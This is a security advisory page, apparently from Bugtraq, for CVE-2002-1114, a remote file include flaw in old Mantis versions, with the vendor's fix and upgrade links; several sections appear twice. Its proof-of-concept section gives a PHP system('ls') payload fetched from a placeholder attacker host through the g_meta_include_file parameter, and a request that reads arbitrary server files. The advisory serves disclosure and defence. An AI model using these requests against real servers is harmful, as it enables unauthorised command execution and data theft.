Mantis Configuration Remote File Include Command Execution Vulnerability
BID:5509
Info
Mantis Configuration Remote File Include Command Execution Vulnerability
| Bugtraq ID: | 5509 |
| Class: | Design Error |
| CVE: |
CVE-2002-1114 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 19 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Discovery of this issue is credited to Andrew Johnson. The Debian Security Team also independently discovered this issue. |
| Vulnerable: |
Mantis Mantis 0.17.3 Mantis Mantis 0.17.2 Mantis Mantis 0.17.1 Mantis Mantis 0.17 .0 |
| Not Vulnerable: |
Mantis Mantis 0.17.4 a Mantis Mantis 0.17.4 |
Discussion
Mantis Configuration Remote File Include Command Execution Vulnerability
Mantis depends on some include files for configuration of the bug tracking system. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server.
Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.
Mantis depends on some include files for configuration of the bug tracking system. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server.
Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.
Exploit / POC
Mantis Configuration Remote File Include Command Execution Vulnerability
The following proof-of-concept was provided:
The attacker may create the following file (listings.txt) on a server they have access to:
<?php
system('ls');
exit;
?>
And then cause it to be included with the following request:
http://target/mantis/login_page.php?g_meta_include_file=http://attackershost/listings.txt
Any Mantis script that outputs something is sufficient. However, login.php does not require authentication to be accessed.
The following request will disclose arbitrary webserver readable files:
http://target/mantis/login_page.php?g_css_include_file=arbitraryfile
The following proof-of-concept was provided:
The attacker may create the following file (listings.txt) on a server they have access to:
<?php
system('ls');
exit;
?>
And then cause it to be included with the following request:
http://target/mantis/login_page.php?g_meta_include_file=http://attackershost/listings.txt
Any Mantis script that outputs something is sufficient. However, login.php does not require authentication to be accessed.
The following request will disclose arbitrary webserver readable files:
http://target/mantis/login_page.php?g_css_include_file=arbitraryfile
Solution / Fix
Mantis Configuration Remote File Include Command Execution Vulnerability
Solution:
Exploitation of this and other remote file include issues may be limited by disabling both 'allow_url_fopen' and 'register_globals' in the local site PHP configuration.
This issue has been addressed in Mantis 0.17.4 and later.
The vendor has announced that if an upgrade cannot be applied, the vulnerability can be addressing by inserting the following lines in core_API.php:
if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
isset($HTTP_POST_VARS['g_top_include_file']) ||
isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
isset($HTTP_POST_VARS['g_bottom_include_page']) ||
isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
isset($HTTP_POST_VARS['g_css_include_file']) ||
isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
isset($HTTP_POST_VARS['g_meta_include_file']) ||
isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
exit;
}
Mantis Mantis 0.17 .0
Mantis Mantis 0.17.1
Mantis Mantis 0.17.2
Mantis Mantis 0.17.3
Solution:
Exploitation of this and other remote file include issues may be limited by disabling both 'allow_url_fopen' and 'register_globals' in the local site PHP configuration.
This issue has been addressed in Mantis 0.17.4 and later.
The vendor has announced that if an upgrade cannot be applied, the vulnerability can be addressing by inserting the following lines in core_API.php:
if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
isset($HTTP_POST_VARS['g_top_include_file']) ||
isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
isset($HTTP_POST_VARS['g_bottom_include_page']) ||
isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
isset($HTTP_POST_VARS['g_css_include_file']) ||
isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
exit;
}
if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
isset($HTTP_POST_VARS['g_meta_include_file']) ||
isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
exit;
}
Mantis Mantis 0.17 .0
-
Mantis Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963
Mantis Mantis 0.17.1
-
Mantis Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963
Mantis Mantis 0.17.2
-
Mantis Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963
Mantis Mantis 0.17.3
-
Mantis Mantis 0.17.4a
http://sourceforge.net/project/showfiles.php?group_id=14963
References
Mantis Configuration Remote File Include Command Execution Vulnerability
References:
References:
- Mantis Homepage (Mantis)